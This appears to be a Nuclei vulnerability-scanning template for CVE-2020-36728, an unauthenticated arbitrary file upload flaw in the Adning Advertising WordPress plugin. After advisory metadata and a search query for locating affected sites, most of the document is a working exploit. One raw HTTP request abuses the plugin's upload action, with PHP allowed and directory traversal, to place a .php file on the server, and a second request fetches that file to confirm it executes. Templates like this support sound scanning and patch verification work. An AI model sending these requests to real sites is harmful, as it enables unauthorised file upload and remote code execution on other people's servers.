id: CVE-2020-36728 info: name: WordPress Plugin Adning Advertising < 1.5.6 - Arbitrary File Upload author: iamnoooob,pdresearch severity: medium description: | The Adning Advertising plugin for WordPress versions below 1.5.6 is vulnerable to arbitrary file upload, allowing attackers to upload malicious files to the server. impact: | Unauthenticated attackers can upload malicious files to achieve remote code execution, potentially compromising the entire WordPress site and server. remediation: | Upgrade to Adning Advertising version 1.5.6 or later. reference: - https://www.wordfence.com/blog/2020/07/critical-vulnerabilities-patched-in-adning-advertising-plugin/ - https://blog.nintechnet.com/critical-vulnerability-in-adning-advertising-plugin-actively-exploited-in-the-wild/ - https://codecanyon.net/item/wp-pro-advertising-system-all-in-one-ad-manager/269693 - https://nvd.nist.gov/vuln/detail/CVE-2020-36728 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N cvss-score: 6.5 cve-id: CVE-2020-36728 epss-score: 0.03159 epss-percentile: 0.8635 cpe: cpe:2.3:a:tunasite:adning_advertising:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: tunasite product: adning_advertising framework: wordpress fofa-query: body="served by Adning" tags: cve,cve202,wordpress,wp,wp-plugin,intrusive,file-upload,adning,rce,vkev,vuln flow: http(1) && http(2) variables: marker: "{{randstr}}" filename: "{{randbase(8)}}" http: - raw: - | POST /wp-admin/admin-ajax.php?action=_ning_upload_image HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=b214a08e1c094defed15a5cc4c2285ee --b214a08e1c094defed15a5cc4c2285ee Content-Disposition: form-data; name="allowed_file_types" php,jpg,jpeg --b214a08e1c094defed15a5cc4c2285ee Content-Disposition: form-data; name="upload" {"dir": "../"} --b214a08e1c094defed15a5cc4c2285ee Content-Disposition: form-data; name="files[]"; filename="{{filename}}.php" --b214a08e1c094defed15a5cc4c2285ee-- matchers: - type: dsl dsl: - "status_code == 200" - "contains_all(body, '{{filename}}','tmp_name','grid_item','success')" condition: and internal: true - raw: - | GET /{{filename}}.php?input={{base64(marker)}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - "status_code == 200" - "contains(body, '{{marker}}')" condition: and # digest: 4b0a0048304602210098034d95a9ddde830a93bd07b4dea3e235a9796a15e892185ae2fc408b0eaa26022100a9e554035f1bbf405c05582433ab64b20e9523d7cbfb6c231e5094d9a6c3928d:922c64590222798bb761d5b6d8e72950